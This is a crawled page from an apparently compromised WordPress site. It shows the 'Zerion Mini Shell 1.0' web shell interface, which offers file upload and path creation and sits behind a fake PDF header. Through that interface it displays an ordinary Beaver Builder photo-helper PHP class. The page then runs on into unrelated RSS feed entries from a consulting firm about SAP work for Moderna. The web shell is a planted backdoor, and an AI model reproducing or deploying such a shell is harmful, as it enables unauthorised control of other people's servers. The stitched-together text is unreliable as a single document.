%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom329039/wp-content/plugins/bb-plugin/classes/
Upload File :
Create Path :
Current File : /dom329039/wp-content/plugins/bb-plugin/classes/class-fl-builder-photo.php

<?php

/**
 * Helper class for working with photos.
 *
 * @since 1.0
 */
final class FLBuilderPhoto {

	/**
	 * Returns an array of data for sizes that are
	 * defined for WordPress images.
	 *
	 * @since 1.0
	 * @return array
	 */
	static public function sizes() {
		global $_wp_additional_image_sizes;

		$sizes = array();

		foreach ( get_intermediate_image_sizes() as $size ) {

			$sizes[ $size ] = array( 0, 0 );

			if ( in_array( $size, array( 'thumbnail', 'medium', 'medium_large', 'large' ) ) ) {
				$sizes[ $size ][0] = get_option( $size . '_size_w' );
				$sizes[ $size ][1] = get_option( $size . '_size_h' );

				if ( 0 === absint( $sizes[ $size ][1] ) ) {
					$sizes[ $size ][1] = $sizes[ $size ][0];
				}
			} elseif ( isset( $_wp_additional_image_sizes ) && isset( $_wp_additional_image_sizes[ $size ] ) ) {
				$sizes[ $size ] = array(
					$_wp_additional_image_sizes[ $size ]['width'],
					$_wp_additional_image_sizes[ $size ]['height'],
				);
			}
		}

		return $sizes;
	}

	/**
	 * Returns an object with data for an attachment using
	 * wp_prepare_attachment_for_js based on the provided id.
	 *
	 * @since 1.0
	 * @param string $id The attachment id.
	 * @return object
	 */
	static public function get_attachment_data( $id ) {
		$data = wp_prepare_attachment_for_js( $id );

		if ( gettype( $data ) == 'array' ) {
			return json_decode( json_encode( $data ) );
		}

		return $data;
	}

	/**
	 * Renders the thumb URL for a photo object.
	 *
	 * @since 1.0
	 * @param object $photo An object with photo data.
	 * @return void
	 */
	static public function get_thumb( $photo ) {
		if ( empty( $photo ) ) {
			echo FL_BUILDER_URL . 'img/spacer.png';
		} elseif ( ! isset( $photo->sizes ) ) {
			echo $photo->url;
		} elseif ( ! empty( $photo->sizes->thumbnail ) ) {
			echo $photo->sizes->thumbnail->url;
		} else {
			echo $photo->sizes->full->url;
		}
	}

	/**
	 * Renders the options for a photo select field.
	 *
	 * @since 1.0
	 * @param string $selected The selected URL.
	 * @param object $photo An object with photo data.
	 * @return void
	 */
	static public function get_src_options( $selected, $photo ) {
		if ( ! isset( $photo->sizes ) ) {
			echo '<option value="' . $photo->url . '" selected="selected">' . _x( 'Full Size', 'Image size.', 'fl-builder' ) . '</option>';
		} else {

			$titles = array(
				'full'      => _x( 'Full Size', 'Image size.', 'fl-builder' ),
				'large'     => _x( 'Large', 'Image size.', 'fl-builder' ),
				'medium'    => _x( 'Medium', 'Image size.', 'fl-builder' ),
				'thumbnail' => _x( 'Thumbnail', 'Image size.', 'fl-builder' ),
			);

			foreach ( $photo->sizes as $key => $val ) {

				if ( ! isset( $titles[ $key ] ) ) {
					$titles[ $key ] = ucwords( str_replace( array( '_', '-' ), ' ', $key ) );
				}

				echo '<option value="' . $val->url . '" ' . selected( basename( $selected ), basename( $val->url ) ) . '>' . $titles[ $key ] . ' - ' . $val->width . ' x ' . $val->height . '</option>';
			}
		}
	}
}

Zerion Mini Shell 1.0
GMH Consulting Group LLC https://gmhconsultinggroup.com/ The global benchmark in the successful delivery of all SAP projects. Mon, 09 Oct 2023 18:12:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.13 https://gmhconsultinggroup.com/wp-content/uploads/2023/01/cropped-New-Project-57-32x32.png GMH Consulting Group LLC https://gmhconsultinggroup.com/ 32 32 Advantages of mRNA Vaccines https://gmhconsultinggroup.com/2022/02/134/ Wed, 02 Feb 2022 04:58:00 +0000 https://gmhconsultinggroup.com/?p=134 Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain

Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>
Digitalization of Vaccines Enabled by S/4 HANA https://gmhconsultinggroup.com/2022/02/132/ Wed, 02 Feb 2022 04:57:00 +0000 https://gmhconsultinggroup.com/?p=132 Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>
SAP Cloud Integration Platform https://gmhconsultinggroup.com/2018/09/browse-projects-accomplished-by-our-consulting-team/ Sat, 29 Sep 2018 04:56:00 +0000 https://gmhconsultinggroup.com/?p=130 Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>

Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>